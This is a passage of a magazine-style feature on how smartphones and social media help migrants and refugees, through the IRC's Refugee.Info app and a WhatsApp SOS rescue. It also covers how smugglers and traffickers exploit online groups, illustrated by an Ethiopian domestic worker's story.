    Whether good or bad, this is not a passing trend. According to Godfried Engbersen, professor of sociology at Erasmus University Rotterdam, “technology is actively transforming the nature of migration networks.” In his research about social media platforms and migration, Engbersen has found that new technologies are empowering migrants in a number of unprecedented ways — like being able to find job opportunities from strangers or staying in touch with loved ones on either end of the route. Access to the internet can not only boost migrants’ emotional well-being but also give them a much-needed sense of control. That’s what Lucy Carrigan noticed while working as the regional manager of communications for the International Rescue Committee (IRC) in Lesbos, Greece.

    “As a refugee, your sense of certainty has been shattered,” says Carrigan. “Having access to information empowers you to make your own choices again.”

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    Nonprofits and tech giants are fast realizing the power of these tools and trying to develop migrant-specific mobile-first solutions. Google, Microsoft and Cisco have all partnered with IRC to run Refugee.Info, an online platform and app that delivers up-to-date, factual information to asylum-seekers. What began three years ago as a trial program in Greece has since amassed close to 100,000 Facebook followers and expanded to four other countries, with plans to launch in Italy by early 2018. “Information is lifesaving,” insists Carrigan.

    Indeed, communication can save many from dying, especially on such perilous routes as the Mediterranean crossing. This summer, a boat carrying 25 migrants was sinking off the Spanish coast when one of the passengers managed to send an SOS message on WhatsApp with their precise location. Soon after, the coast guard arrived and rescued them all.

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    Yet there’s also a dark side to these technologies. With hundreds of Facebook and WhatsApp groups dedicated to aspiring migrants, callous smugglers and human traffickers have no trouble finding desperate people to extort money from.

    Anita found her recruitment agency through a Facebook group in Ethiopia. It promised well-paying jobs for domestic workers in Lebanon, and she needed money to pay for her ill mother’s treatment. So she took the gig. Once in Beirut, she realized her job paid a third of what she was promised, and her employers were physically abusive. “They treated me like their slave,” she says. Still, when Anita finally managed to escape and use Viber to call her mother, she didn’t tell her about the abuse. “I didn’t want her to worry.”

    This tendency to embellish reality is feeding a dangerous loop of misinformation. Migrants are attracted by glamorous images of success abroad, and if their own journey does not go well, they feel pressured to pretend it did. Meanwhile, traffickers continue to cash in.

    Granted, such stories vary widely from one nationality to the next because there’s still a massive technological divide between countries like Turkey — where 72 percent of people use the internet — and Ethiopia, where only 8 percent do. Yet as the digital gap closes, more migrants will inevitably embrace the power of the smartphone. Yes, inaccurate information will likely continue to spread like wildfire online, causing some migrants to try and jump the wrong fence or asylum-seekers to miss an important deadline.

    But when it comes to fake news, Engbersen says migrants are fast improving their fact-checking skills and becoming adept at telling truths from lies. After all, their lives may depend on it.

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